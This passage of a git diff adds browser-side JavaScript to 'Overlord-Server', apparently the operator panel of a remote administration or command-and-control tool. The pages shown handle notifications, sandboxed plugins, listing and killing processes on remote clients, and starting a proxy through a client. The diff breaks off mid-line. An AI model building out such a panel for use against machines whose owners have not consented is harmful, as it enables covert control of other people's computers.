+ } catch {} + } +} + +function incrementUnread() { + setUnreadCount(getUnreadCount() + 1); +} + +function handleMessage(payload) { + if (!payload || typeof payload.type !== "string") return; + if (payload.type === "ready") { + emitReady(payload.history || []); + return; + } + if (payload.type === "notification" && payload.item) { + console.log("[notifications] received", payload.item); + emitNotification(payload.item); + if (shouldNotify()) { + incrementUnread(); + } + } +} + +let msgpackLoadPromise = null; +function ensureMsgpackrLoaded() { + const globalObj = typeof globalThis !== "undefined" ? globalThis : window; + if (globalObj.msgpackr) { + return Promise.resolve(); + } + if (msgpackLoadPromise) return msgpackLoadPromise; + msgpackLoadPromise = new Promise((resolve, reject) => { + const script = document.createElement("script"); + script.src = "https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"; + script.async = true; + script.onload = () => resolve(); + script.onerror = (err) => reject(err); + document.head.appendChild(script); + }); + return msgpackLoadPromise; +} + +function connect() { + const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; + const wsUrl = `${protocol}//${window.location.host}/api/notifications/ws`; + ws = new WebSocket(wsUrl); + + ws.onopen = () => { + console.log("[notifications] ws open", wsUrl); + emitStatus("connected"); + }; + + ws.onmessage = (event) => { + console.log("[notifications] ws message", event.data); + if (typeof event.data === "string") { + let parsed = null; + try { + parsed = JSON.parse(event.data); + } catch { + parsed = decodeMsgpack(event.data); + } + if (parsed) handleMessage(parsed); + return; + } + + if (event.data instanceof Blob) { + event.data + .arrayBuffer() + .then((buf) => { + const parsed = decodeMsgpack(buf); + if (parsed) handleMessage(parsed); + }) + .catch(() => {}); + return; + } + + if (event.data instanceof ArrayBuffer) { + const parsed = decodeMsgpack(event.data); + if (parsed) handleMessage(parsed); + } + }; + + ws.onerror = () => { + console.warn("[notifications] ws error"); + emitStatus("error"); + }; + + ws.onclose = () => { + console.warn("[notifications] ws closed"); + emitStatus("disconnected"); + setTimeout(connect, 3000); + }; +} + +export async function startNotificationClient() { + if (started) return; + started = true; + console.log("[notifications] start client"); + try { + await ensureMsgpackrLoaded(); + } catch (err) { + console.warn("[notifications] failed to load msgpackr", err); + } + connect(); +} + +export function subscribeNotifications(handler) { + notificationHandlers.add(handler); + return () => notificationHandlers.delete(handler); +} + +export function subscribeUnread(handler) { + unreadHandlers.add(handler); + try { + handler(getUnreadCount()); + } catch {} + return () => unreadHandlers.delete(handler); +} + +export function subscribeReady(handler) { + readyHandlers.add(handler); + if (lastHistory.length) { + try { + handler(lastHistory); + } catch {} + } + return () => readyHandlers.delete(handler); +} + +export function subscribeStatus(handler) { + statusHandlers.add(handler); + return () => statusHandlers.delete(handler); +} + +export function setNotificationsEnabled(value) { + localStorage.setItem(STORAGE_KEY, value ? "1" : "0"); +} + +export function getNotificationsEnabled() { + return localStorage.getItem(STORAGE_KEY) === "1"; +} + +export function markAllNotificationsRead() { + setUnreadCount(0); +} diff --git a/Overlord-Server/public/assets/plugin-bridge.js b/Overlord-Server/public/assets/plugin-bridge.js new file mode 100644 index 0000000..3aa392e --- /dev/null +++ b/Overlord-Server/public/assets/plugin-bridge.js @@ -0,0 +1,167 @@ +(function () { + const params = new URLSearchParams(location.search); + const token = params.get("token") || ""; + const origin = params.get("origin") || ""; + let seq = 0; + const pending = new Map(); + + function base64ToArrayBuffer(base64) { + const binary = atob(base64 || ""); + const len = binary.length; + const bytes = new Uint8Array(len); + for (let i = 0; i < len; i += 1) { + bytes[i] = binary.charCodeAt(i); + } + return bytes.buffer; + } + + function makeResponse(payload) { + const headers = new Map(Object.entries(payload.headers || {})); + const bodyText = payload.bodyText || ""; + const bodyBase64 = payload.bodyBase64 || ""; + const response = { + ok: Boolean(payload.ok), + status: payload.status || 0, + statusText: payload.statusText || "", + headers, + text: async () => bodyText, + json: async () => JSON.parse(bodyText || "{}"), + arrayBuffer: async () => base64ToArrayBuffer(bodyBase64), + blob: async () => new Blob([base64ToArrayBuffer(bodyBase64)], { + type: payload.contentType || "application/octet-stream", + }), + }; + return response; + } + + async function bridgeFetch(input, init = {}) { + const requestUrl = typeof input === "string" ? input : input.url; + const id = `req_${Date.now()}_${seq++}`; + + const request = { + url: requestUrl, + method: init.method || "GET", + headers: init.headers || {}, + body: init.body || undefined, + }; + + const responsePromise = new Promise((resolve, reject) => { + pending.set(id, { resolve, reject }); + window.parent.postMessage( + { type: "plugin-fetch", id, token, request }, + origin || "*", + ); + + setTimeout(() => { + if (!pending.has(id)) return; + pending.delete(id); + reject(new Error("plugin fetch timeout")); + }, 30_000); + }); + + const payload = await responsePromise; + if (payload.error) { + throw new Error(payload.message || payload.error); + } + return makeResponse(payload); + } + + window.addEventListener("message", (event) => { + const data = event.data; + if (!data || data.type !== "plugin-fetch-response") return; + const waiter = pending.get(data.id); + if (!waiter) return; + pending.delete(data.id); + waiter.resolve(data); + }); + + window.fetch = bridgeFetch; + + let wsSeq = 0; + const wsWaiters = new Map(); + const wsHandlers = new Map(); + + function createPluginWebSocket(url) { + const id = `pws_${Date.now()}_${wsSeq++}`; + const handlers = { onopen: null, onmessage: null, onclose: null, onerror: null }; + wsHandlers.set(id, handlers); + + window.parent.postMessage( + { type: "plugin-ws-open", id, token, url }, + origin || "*", + ); + + return { + id, + set onopen(fn) { + handlers.onopen = fn; + }, + set onmessage(fn) { + handlers.onmessage = fn; + }, + set onclose(fn) { + handlers.onclose = fn; + }, + set onerror(fn) { + handlers.onerror = fn; + }, + send(data) { + if (data instanceof ArrayBuffer) { + const bytes = new Uint8Array(data); + let binary = ""; + for (let i = 0; i < bytes.length; i += 1) { + binary += String.fromCharCode(bytes[i]); + } + window.parent.postMessage( + { type: "plugin-ws-send", id, token, kind: "binary", data: btoa(binary) }, + origin || "*", + ); + return; + } + window.parent.postMessage( + { type: "plugin-ws-send", id, token, kind: "text", data: String(data) }, + origin || "*", + ); + }, + close() { + window.parent.postMessage( + { type: "plugin-ws-close", id, token }, + origin || "*", + ); + wsHandlers.delete(id); + }, + }; + } + + window.addEventListener("message", (event) => { + const data = event.data; + if (!data || !data.type) return; + if (!data.id) return; + const handlers = wsHandlers.get(data.id); + if (!handlers) return; + + if (data.type === "plugin-ws-opened") { + handlers.onopen?.(); + return; + } + if (data.type === "plugin-ws-closed") { + handlers.onclose?.(); + wsHandlers.delete(data.id); + return; + } + if (data.type === "plugin-ws-error") { + handlers.onerror?.(new Error(data.error || "ws_error")); + return; + } + if (data.type === "plugin-ws-message") { + if (data.payload?.kind === "binary") { + const buffer = base64ToArrayBuffer(data.payload.data); + handlers.onmessage?.({ data: buffer }); + } else { + handlers.onmessage?.({ data: data.payload?.data ?? "" }); + } + } + }); + + window.createPluginWebSocket = createPluginWebSocket; +})(); diff --git a/Overlord-Server/public/assets/plugin-host.js b/Overlord-Server/public/assets/plugin-host.js new file mode 100644 index 0000000..e9bb1ba --- /dev/null +++ b/Overlord-Server/public/assets/plugin-host.js @@ -0,0 +1,188 @@ +const hostEl = document.getElementById("plugin-host"); +const frame = document.getElementById("plugin-frame"); +if (!hostEl || !frame) { + console.error("plugin host not initialized"); +} + +const bridgeToken = hostEl?.dataset.bridgeToken || ""; +const allowedPrefixes = [ + "/api/clients/", + "/api/plugins", + "/api/plugins/", +]; +const allowedMethods = new Set(["GET", "POST", "DELETE", "PUT", "PATCH"]); + +function isAllowedUrl(url) { + try { + const parsed = new URL(url, window.location.origin); + if (parsed.origin !== window.location.origin) return false; + return allowedPrefixes.some((prefix) => parsed.pathname.startsWith(prefix)); + } catch { + return false; + } +} + +function filterHeaders(headers) { + const filtered = {}; + if (!headers) return filtered; + for (const [key, value] of Object.entries(headers)) { + const lower = key.toLowerCase(); + if (lower === "content-type" || lower === "accept") { + filtered[key] = value; + } + } + return filtered; +} + +function arrayBufferToBase64(buffer) { + const bytes = new Uint8Array(buffer); + let binary = ""; + for (let i = 0; i < bytes.length; i += 1) { + binary += String.fromCharCode(bytes[i]); + } + return btoa(binary); +} + +window.addEventListener("message", async (event) => { + if (!event.data || event.data.type !== "plugin-fetch") return; + if (frame && event.source !== frame.contentWindow) return; + if (event.data.token !== bridgeToken) return; + + const { id, request } = event.data; + if (!request || !request.url) return; + + if (!allowedMethods.has(String(request.method || "GET").toUpperCase())) { + event.source?.postMessage( + { type: "plugin-fetch-response", id, error: "method_not_allowed" }, + "*", + ); + return; + } + + if (!isAllowedUrl(request.url)) { + event.source?.postMessage( + { type: "plugin-fetch-response", id, error: "url_not_allowed" }, + "*", + ); + return; + } + + try { + const res = await fetch(request.url, { + method: request.method || "GET", + headers: filterHeaders(request.headers), + body: request.body || undefined, + credentials: "include", + }); + + const buffer = await res.arrayBuffer(); + const contentType = res.headers.get("content-type") || ""; + const text = new TextDecoder().decode(buffer); + const base64 = arrayBufferToBase64(buffer); + + event.source?.postMessage( + { + type: "plugin-fetch-response", + id, + ok: res.ok, + status: res.status, + statusText: res.statusText, + headers: Object.fromEntries(res.headers.entries()), + contentType, + bodyText: text, + bodyBase64: base64, + }, + "*", + ); + } catch (err) { + event.source?.postMessage( + { + type: "plugin-fetch-response", + id, + error: "fetch_failed", + message: String(err), + }, + "*", + ); + } +}); + +const wsSessions = new Map(); +let wsSeq = 0; + +function isAllowedWsUrl(url) { + try { + const parsed = new URL(url, window.location.origin); + if (parsed.origin !== window.location.origin) return false; + return /^\/api\/clients\/[^/]+\/rd\/ws$/.test(parsed.pathname); + } catch { + return false; + } +} + +window.addEventListener("message", (event) => { + if (!event.data || !event.data.type) return; + if (frame && event.source !== frame.contentWindow) return; + if (event.data.token !== bridgeToken) return; + + if (event.data.type === "plugin-ws-open") { + const { url } = event.data; + if (!isAllowedWsUrl(url)) { + event.source?.postMessage( + { type: "plugin-ws-error", error: "ws_url_not_allowed" }, + "*", + ); + return; + } + + const id = `ws_${Date.now()}_${wsSeq++}`; + const wsUrl = url.replace("https:", "wss:").replace("http:", "ws:"); + const ws = new WebSocket(wsUrl); + ws.binaryType = "arraybuffer"; + wsSessions.set(id, ws); + + ws.addEventListener("open", () => { + event.source?.postMessage({ type: "plugin-ws-opened", id }, "*"); + }); + ws.addEventListener("message", (ev) => { + const payload = + ev.data instanceof ArrayBuffer + ? { kind: "binary", data: arrayBufferToBase64(ev.data) } + : { kind: "text", data: String(ev.data) }; + event.source?.postMessage( + { type: "plugin-ws-message", id, payload }, + "*", + ); + }); + ws.addEventListener("close", () => { + wsSessions.delete(id); + event.source?.postMessage({ type: "plugin-ws-closed", id }, "*"); + }); + ws.addEventListener("error", () => { + event.source?.postMessage({ type: "plugin-ws-error", id }, "*"); + }); + return; + } + + if (event.data.type === "plugin-ws-send") { + const { id, data, kind } = event.data; + const ws = wsSessions.get(id); + if (!ws || ws.readyState !== WebSocket.OPEN) return; + if (kind === "binary") { + const buffer = Uint8Array.from(atob(data), (c) => c.charCodeAt(0)); + ws.send(buffer); + } else { + ws.send(data); + } + return; + } + + if (event.data.type === "plugin-ws-close") { + const { id } = event.data; + const ws = wsSessions.get(id); + if (ws) { + ws.close(); + wsSessions.delete(id); + } + } +}); diff --git a/Overlord-Server/public/assets/plugins.js b/Overlord-Server/public/assets/plugins.js new file mode 100644 index 0000000..fe89b8f --- /dev/null +++ b/Overlord-Server/public/assets/plugins.js @@ -0,0 +1,211 @@ +const dropzone = document.getElementById("dropzone"); +const fileInput = document.getElementById("file-input"); +const pluginList = document.getElementById("plugin-list"); +const refreshBtn = document.getElementById("refresh-btn"); +const uploadStatus = document.getElementById("upload-status"); + +async function checkAuth() { + try { + const res = await fetch("/api/auth/me", { credentials: "include" }); + if (!res.ok) { + window.location.href = "/login.html"; + return; + } + + const data = await res.json(); + const usernameDisplay = document.getElementById("username-display"); + const roleBadge = document.getElementById("role-badge"); + if (usernameDisplay) { + usernameDisplay.textContent = data.username; + } + + if (roleBadge) { + const roleBadges = { + admin: 'Admin', + operator: 'Operator', + viewer: 'Viewer', + }; + if (roleBadges[data.role]) { + roleBadge.innerHTML = roleBadges[data.role]; + } else { + roleBadge.textContent = data.role || ""; + } + + if (data.role === "admin") { + roleBadge.classList.add( + "bg-purple-900/50", + "text-purple-300", + "border", + "border-purple-800", + ); + } else if (data.role === "operator") { + roleBadge.classList.add( + "bg-blue-900/50", + "text-blue-300", + "border", + "border-blue-800", + ); + } else { + roleBadge.classList.add( + "bg-slate-700", + "text-slate-300", + "border", + "border-slate-600", + ); + } + } + + if (data.role === "admin") { + document.getElementById("build-link")?.classList.remove("hidden"); + document.getElementById("users-link")?.classList.remove("hidden"); + document.getElementById("plugins-link")?.classList.remove("hidden"); + document.getElementById("deploy-link")?.classList.remove("hidden"); + } else if (data.role === "operator") { + document.getElementById("build-link")?.classList.remove("hidden"); + } + + if (data.role !== "viewer") { + document.getElementById("scripts-link")?.classList.remove("hidden"); + } + } catch (err) { + console.error("Auth check failed:", err); + window.location.href = "/login.html"; + } +} + +function setStatus(text, isError = false) { + uploadStatus.textContent = text; + uploadStatus.className = `mt-3 text-sm ${isError ? "text-red-400" : "text-slate-400"}`; +} + +async function fetchPlugins() { + const res = await fetch("/api/plugins"); + if (!res.ok) { + setStatus("Failed to load plugins", true); + return []; + } + const data = await res.json(); + return Array.isArray(data.plugins) ? data.plugins : []; +} + +function renderPlugins(plugins) { + pluginList.innerHTML = ""; + if (!plugins.length) { + pluginList.innerHTML = + '
No plugins installed.
'; + return; + } + for (const plugin of plugins) { + const card = document.createElement("div"); + card.className = + "rounded-xl border border-slate-800 bg-slate-950/50 px-4 py-3 flex items-center justify-between"; + const meta = document.createElement("div"); + const title = document.createElement("div"); + title.className = "font-semibold"; + title.textContent = plugin.name || plugin.id; + const subtitle = document.createElement("div"); + subtitle.className = "text-sm text-slate-400"; + subtitle.textContent = `${plugin.id}${plugin.version ? ` • v${plugin.version}` : ""}`; + meta.appendChild(title); + meta.appendChild(subtitle); + const actions = document.createElement("div"); + actions.className = "flex items-center gap-2"; + + const toggle = document.createElement("button"); + toggle.className = + "inline-flex items-center gap-2 px-3 py-2 rounded-lg border" + + (plugin.enabled + ? " border-emerald-600 text-emerald-200 bg-emerald-900/40" + : " border-slate-600 text-slate-300 bg-slate-800/60"); + toggle.innerHTML = plugin.enabled + ? ' Enabled' + : ' Disabled'; + toggle.addEventListener("click", async () => { + const res = await fetch(`/api/plugins/${plugin.id}/enable`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ enabled: !plugin.enabled }), + }); + if (!res.ok) { + const text = await res.text(); + setStatus(`Enable failed: ${text}`, true); + return; + } + await refresh(); + }); + + const removeBtn = document.createElement("button"); + removeBtn.className = + "inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-red-900/40 border border-red-700/60 hover:bg-red-800/60 text-red-100"; + removeBtn.innerHTML = ' Remove'; + removeBtn.addEventListener("click", async () => { + if (!confirm(`Remove plugin ${plugin.name || plugin.id}?`)) return; + const res = await fetch(`/api/plugins/${plugin.id}`, { method: "DELETE" }); + if (!res.ok) { + const text = await res.text(); + setStatus(`Remove failed: ${text}`, true); + return; + } + setStatus("Plugin removed."); + await refresh(); + }); + actions.appendChild(toggle); + actions.appendChild(removeBtn); + card.appendChild(meta); + card.appendChild(actions); + + if (plugin.lastError) { + const errorRow = document.createElement("div"); + errorRow.className = "mt-2 text-xs text-red-300"; + errorRow.textContent = `Last error: ${plugin.lastError}`; + card.appendChild(errorRow); + } + pluginList.appendChild(card); + } +} + +async function refresh() { + const plugins = await fetchPlugins(); + renderPlugins(plugins); +} + +async function uploadFile(file) { + if (!file) return; + setStatus(`Uploading ${file.name}...`); + const form = new FormData(); + form.append("file", file); + const res = await fetch("/api/plugins/upload", { method: "POST", body: form }); + if (!res.ok) { + const text = await res.text(); + setStatus(`Upload failed: ${text}`, true); + return; + } + setStatus("Upload complete."); + await refresh(); +} + +if (dropzone) { + dropzone.addEventListener("dragover", (e) => { + e.preventDefault(); + dropzone.classList.add("border-emerald-500", "text-emerald-300"); + }); + dropzone.addEventListener("dragleave", () => { + dropzone.classList.remove("border-emerald-500", "text-emerald-300"); + }); + dropzone.addEventListener("drop", (e) => { + e.preventDefault(); + dropzone.classList.remove("border-emerald-500", "text-emerald-300"); + const file = e.dataTransfer?.files?.[0]; + if (file) uploadFile(file); + }); +} + +fileInput?.addEventListener("change", (e) => { + const file = e.target.files?.[0]; + if (file) uploadFile(file); +}); + +refreshBtn?.addEventListener("click", refresh); + +checkAuth(); +refresh(); diff --git a/Overlord-Server/public/assets/processes.js b/Overlord-Server/public/assets/processes.js new file mode 100644 index 0000000..e488b55 --- /dev/null +++ b/Overlord-Server/public/assets/processes.js @@ -0,0 +1,430 @@ +import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; + +const clientId = window.location.pathname.split("/")[1]; +let ws = null; +let processes = []; +let processMap = new Map(); +let processTree = []; +let collapsedPids = new Set(); +let selectedPid = null; +let sortField = "cpu"; +let sortDirection = "desc"; +let searchTerm = ""; + +const statusEl = document.getElementById("status-indicator"); +const processCountEl = document.getElementById("process-count"); +const processListEl = document.getElementById("process-list"); +const refreshBtn = document.getElementById("refresh-btn"); +const killBtn = document.getElementById("kill-btn"); +const searchInput = document.getElementById("search-input"); +const clientIdHeader = document.getElementById("client-id-header"); + +if (clientIdHeader) { + clientIdHeader.textContent = `${clientId} - Process Manager`; +} + +function connect() { + const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; + const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/processes/ws`; + + ws = new WebSocket(wsUrl); + ws.binaryType = "arraybuffer"; + + ws.onopen = () => { + console.log("Process manager connected"); + updateStatus("connected", "Connected"); + enableControls(true); + requestProcessList(); + }; + + ws.onmessage = (event) => { + const msg = decodeMsgpack(event.data); + if (!msg) { + console.error("Failed to decode message"); + return; + } + handleMessage(msg); + }; + + ws.onerror = (err) => { + console.error("WebSocket error:", err); + updateStatus("error", "Connection Error"); + }; + + ws.onclose = () => { + console.log("Process manager disconnected"); + updateStatus("disconnected", "Disconnected"); + enableControls(false); + setTimeout(() => connect(), 3000); + }; +} + +function updateStatus(state, text) { + const icons = { + connecting: '', + connected: '', + error: '', + disconnected: '', + }; + + statusEl.innerHTML = `${icons[state] || icons.disconnected} ${text}`; + statusEl.className = + state === "connected" + ? "inline-flex items-center gap-2 px-3 py-2 rounded-full bg-green-900/40 text-green-100 border border-green-700/60" + : "inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-800 text-slate-300"; +} + +function enableControls(enabled) { + refreshBtn.disabled = !enabled; + updateKillButton(); +} + +function updateKillButton() { + killBtn.disabled = !selectedPid || !ws || ws.readyState !== WebSocket.OPEN; +} + +function send(msg) { + if (ws && ws.readyState === WebSocket.OPEN) { + ws.send(encodeMsgpack(msg)); + } +} + +function handleMessage(msg) { + console.log("Received:", msg.type); + + switch (msg.type) { + case "ready": + console.log("Session ready:", msg.sessionId); + break; + case "status": + if (msg.status === "offline") { + updateStatus("error", "Client Offline"); + enableControls(false); + } + break; + case "process_list_result": + handleProcessList(msg); + break; + case "command_result": + handleCommandResult(msg); + break; + default: + console.log("Unknown message type:", msg.type); + } +} + +function requestProcessList() { + send({ type: "process_list" }); + updateStatus("connected", "Loading processes..."); +} + +function handleProcessList(msg) { + if (msg.error) { + processListEl.innerHTML = `
${escapeHtml(msg.error)}
`; + updateStatus("error", "Error loading processes"); + return; + } + + processes = (msg.processes || []).map((proc) => { + const normalizeId = (value) => { + if (typeof value === "bigint") { + return Number(value); + } + if (typeof value === "string" && value.trim()) { + const parsed = Number(value); + return Number.isFinite(parsed) ? parsed : 0; + } + return Number.isFinite(value) ? value : 0; + }; + return { + ...proc, + pid: normalizeId(proc.pid), + ppid: normalizeId(proc.ppid), + }; + }); + processCountEl.innerHTML = ` ${processes.length} processes`; + updateStatus("connected", "Connected"); + buildProcessTree(); + renderProcesses(); +} + +function buildProcessTree() { + processMap.clear(); + processes.forEach((proc) => { + processMap.set(proc.pid, { ...proc, children: [] }); + }); + + const roots = []; + processMap.forEach((proc) => { + if (proc.ppid && processMap.has(proc.ppid)) { + processMap.get(proc.ppid).children.push(proc); + } else { + roots.push(proc); + } + }); + + function sortChildren(proc) { + if (proc.children.length > 0) { + proc.children.sort((a, b) => { + let aVal = a[sortField]; + let bVal = b[sortField]; + + if (sortField === "name") { + aVal = aVal.toLowerCase(); + bVal = bVal.toLowerCase(); + } + + if (sortDirection === "asc") { + return aVal > bVal ? 1 : -1; + } else { + return aVal < bVal ? 1 : -1; + } + }); + + proc.children.forEach((child) => sortChildren(child)); + } + } + + roots.forEach((proc) => sortChildren(proc)); + + roots.sort((a, b) => { + let aVal = a[sortField]; + let bVal = b[sortField]; + + if (sortField === "name") { + aVal = aVal.toLowerCase(); + bVal = bVal.toLowerCase(); + } + + if (sortDirection === "asc") { + return aVal > bVal ? 1 : -1; + } else { + return aVal < bVal ? 1 : -1; + } + }); + + processTree = roots; +} + +function renderProcesses() { + const filtered = []; + + function collectMatches(proc, depth = 0) { + const matches = + !searchTerm || + proc.name.toLowerCase().includes(searchTerm.toLowerCase()) || + proc.pid.toString().includes(searchTerm) || + (proc.username && + proc.username.toLowerCase().includes(searchTerm.toLowerCase())); + + if (matches) { + filtered.push({ ...proc, depth }); + } + + if ( + proc.children && + proc.children.length > 0 && + !collapsedPids.has(proc.pid) + ) { + proc.children.forEach((child) => collectMatches(child, depth + 1)); + } + } + + processTree.forEach((proc) => collectMatches(proc, 0)); + + if (filtered.length === 0) { + processListEl.innerHTML = + '
No processes found
'; + return; + } + + processListEl.innerHTML = ""; + filtered.forEach((proc) => { + const row = createProcessRow(proc, proc.depth); + processListEl.appendChild(row); + }); +} + +function createProcessRow(proc, depth = 0) { + const row = document.createElement("div"); + row.className = + "process-row grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors"; + row.dataset.pid = proc.pid; + + if (selectedPid === proc.pid) { + row.classList.add("selected"); + } + + const cpuColor = + proc.cpu > 50 + ? "text-red-400" + : proc.cpu > 20 + ? "text-yellow-400" + : "text-slate-400"; + const memoryStr = formatBytes(proc.memory); + + const hasChildren = proc.children && proc.children.length > 0; + const isCollapsed = collapsedPids.has(proc.pid); + const indent = " ".repeat(depth); + + let treeIcon = ""; + if (hasChildren) { + treeIcon = `${isCollapsed ? "▶" : "▼"}`; + } else if (depth > 0) { + treeIcon = ''; + } + + let nameColor = "text-slate-200"; + let iconColor = "text-blue-400"; + if (proc.type === "system") { + nameColor = "text-purple-400"; + iconColor = "text-purple-400"; + } else if (proc.type === "service") { + nameColor = "text-cyan-400"; + iconColor = "text-cyan-400"; + } else if (proc.type === "own") { + nameColor = "text-green-300"; + iconColor = "text-green-400"; + } + + row.innerHTML = ` +
${proc.pid}
+
+ ${indent}${treeIcon} + ${escapeHtml(proc.name)} +
+
${proc.cpu.toFixed(1)}%
+
${memoryStr}
+
${escapeHtml(proc.username || "-")}
+ `; + + row.onclick = (e) => { + if (e.target.classList.contains("tree-icon")) { + toggleCollapse(proc.pid); + return; + } + selectProcess(proc.pid); + }; + + row.ondblclick = () => { + selectProcess(proc.pid); + killProcess(); + }; + + return row; +} + +function toggleCollapse(pid) { + if (collapsedPids.has(pid)) { + collapsedPids.delete(pid); + } else { + collapsedPids.add(pid); + } + renderProcesses(); +} + +function selectProcess(pid) { + selectedPid = pid; + updateKillButton(); + renderProcesses(); +} + +function killProcess() { + if (!selectedPid) return; + + const proc = processes.find((p) => p.pid === selectedPid); + if (!proc) return; + + if (!confirm(`Kill process "${proc.name}" (PID: ${proc.pid})?`)) return; + + const pid = Number(selectedPid); + if (!Number.isFinite(pid) || pid <= 0) { + alert("Invalid PID selected."); + return; + } + console.log("Killing process:", pid); + send({ type: "process_kill", pid }); + updateStatus("connected", "Killing process..."); +} + +function handleCommandResult(msg) { + if (!msg.ok) { + alert(`Operation failed: ${msg.message || "Unknown error"}`); + updateStatus("connected", "Connected"); + } else { + setTimeout(() => requestProcessList(), 500); + } +} +function setSortField(field) { + if (sortField === field) { + sortDirection = sortDirection === "asc" ? "desc" : "asc"; + } else { + sortField = field; + sortDirection = field === "name" ? "asc" : "desc"; + } + buildProcessTree(); + renderProcesses(); + updateSortIndicators(); +} + +function updateSortIndicators() { + document.querySelectorAll('[id^="sort-"]').forEach((el) => { + const field = el.id.replace("sort-", ""); + const icon = el.querySelector("i"); + if (field === sortField) { + icon.className = + sortDirection === "asc" + ? "fa-solid fa-sort-up" + : "fa-solid fa-sort-down"; + } else { + icon.className = "fa-solid fa-sort"; + } + }); +} + +function formatBytes(bytes) { + if (bytes === 0 || bytes === 0n) return "0 B"; + const sizes = ["B", "KB", "MB", "GB"]; + if (typeof bytes === "bigint") { + const k = 1024n; + let i = 0; + let value = bytes; + while (value >= k && i < sizes.length - 1) { + value /= k; + i += 1; + } + return `${value.toString()} ${sizes[i]}`; + } + const k = 1024; + const i = Math.floor(Math.log(bytes) / Math.log(k)); + return Math.round((bytes / Math.pow(k, i)) * 100) / 100 + " " + sizes[i]; +} + +function escapeHtml(text) { + const div = document.createElement("div"); + div.textContent = text; + return div.innerHTML; +} + +refreshBtn.onclick = () => requestProcessList(); +killBtn.onclick = () => killProcess(); + +searchInput.oninput = (e) => { + searchTerm = e.target.value; + renderProcesses(); +}; + +document.getElementById("sort-pid").onclick = () => setSortField("pid"); +document.getElementById("sort-name").onclick = () => setSortField("name"); +document.getElementById("sort-cpu").onclick = () => setSortField("cpu"); +document.getElementById("sort-memory").onclick = () => setSortField("memory"); + +setInterval(() => { + if (ws && ws.readyState === WebSocket.OPEN) { + requestProcessList(); + } +}, 3000); + +updateStatus("connecting", "Connecting..."); +connect(); +updateSortIndicators(); diff --git a/Overlord-Server/public/assets/proxy.js b/Overlord-Server/public/assets/proxy.js new file mode 100644 index 0000000..29163ea --- /dev/null +++ b/Overlord-Server/public/assets/proxy.js @@ -0,0 +1,194 @@ +import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; + +const clientId = window.location.pathname.split("/")[1]; +if (!clientId) { + alert("Missing clientId"); + location.href = "/"; +} + +const clientLabel = document.getElementById("clientLabel"); +const statusPill = document.getElementById("status-pill"); +const portInput = document.getElementById("portInput"); +const startBtn = document.getElementById("startBtn"); +const stopBtn = document.getElementById("stopBtn"); +const proxyInfo = document.getElementById("proxyInfo"); +const proxyAddress = document.getElementById("proxyAddress"); +const logContainer = document.getElementById("logContainer"); + +const toast = + (typeof window !== "undefined" && window.createToast) || + (typeof window !== "undefined" && window.showToast) || + null; + +let ws = null; +let proxyRunning = false; + +clientLabel.textContent = clientId; + +function updateStatus(className, text) { + statusPill.className = `pill ${className}`; + statusPill.textContent = text; +} + +function addLog(message, type = "info") { + const timestamp = new Date().toLocaleTimeString(); + const colors = { + info: "text-slate-400", + success: "text-green-400", + error: "text-red-400", + warning: "text-yellow-400", + }; + const color = colors[type] || colors.info; + + const logEntry = document.createElement("div"); + logEntry.className = color; + logEntry.textContent = `[${timestamp}] ${message}`; + + logContainer.appendChild(logEntry); + logContainer.scrollTop = logContainer.scrollHeight; + + // Keep only last 100 log entries + while (logContainer.children.length > 100) { + logContainer.removeChild(logContainer.firstChild); + } +} + +function connect() { + const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; + const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/proxy/ws`; + + ws = new WebSocket(wsUrl); + ws.binaryType = "arraybuffer"; + + ws.onopen = () => { + console.log("Proxy control connected"); + updateStatus("pill-online", "Connected"); + addLog("Connected to proxy control interface", "success"); + }; + + ws.onmessage = (event) => { + const msg = decodeMsgpack(event.data); + if (!msg) { + console.error("Failed to decode message"); + return; + } + handleMessage(msg); + }; + + ws.onerror = (err) => { + console.error("WebSocket error:", err); + updateStatus("pill-offline", "Connection Error"); + addLog("WebSocket connection error", "error"); + }; + + ws.onclose = () => { + console.log("Proxy control disconnected"); + updateStatus("pill-offline", "Disconnected"); + addLog("Disconnected from proxy control", "warning"); + setTimeout(() => connect(), 3000); + }; +} + +function send(msg) { + if (ws && ws.readyState === WebSocket.OPEN) { + ws.send(encodeMsgpack(msg)); + } +} + +function handleMessage(msg) { + console.log("Received:", msg); + + switch (msg.type) { + case "ready": + addLog("Proxy control session ready", "success"); + if (!msg.clientOnline) { + updateStatus("pill-offline", "Client Offline"); + addLog("Target client is offline", "error"); + } + break; + case "status": + if (msg.status === "offline") { + updateStatus("pill-offline", "Client Offline"); + addLog("Target client went offline", "error"); + setProxyStopped(); + } + break; + case "command_result": + handleCommandResult(msg); + break; + default: + break; + } +} + +function handleCommandResult(msg) { + if (msg.ok) { + if (msg.message && msg.message.includes("started")) { + const match = msg.message.match(/port (\d+)/); + const port = match ? match[1] : portInput.value; + setProxyRunning(port); + addLog(`Proxy started successfully on port ${port}`, "success"); + if (toast) toast(`Proxy started on port ${port}`, "success"); + } else if (msg.message && msg.message.includes("stopped")) { + setProxyStopped(); + addLog("Proxy stopped successfully", "success"); + if (toast) toast("Proxy stopped", "success"); + } else { + addLog(msg.message || "Command completed", "success"); + } + } else { + addLog(msg.message || "Command failed", "error"); + if (toast) toast(msg.message || "Command failed", "error"); + if (msg.message && msg.message.includes("already running")) { + // Proxy is running but we didn't know + setProxyRunning(portInput.value); + } + } +} + +function setProxyRunning(port) { + proxyRunning = true; + startBtn.disabled = true; + stopBtn.disabled = false; + proxyInfo.classList.remove("hidden"); + proxyAddress.textContent = `127.0.0.1:${port}`; + portInput.disabled = true; +} + +function setProxyStopped() { + proxyRunning = false; + startBtn.disabled = false; + stopBtn.disabled = true; + proxyInfo.classList.add("hidden"); + portInput.disabled = false; +} + +function startProxy() { + const port = parseInt(portInput.value); + if (isNaN(port) || port < 1 || port > 65535) { + if (toast) toast("Invalid port number (1-65535)", "error"); + return; + } + + addLog(`Sending start command for port ${port}...`, "info"); + send({ type: 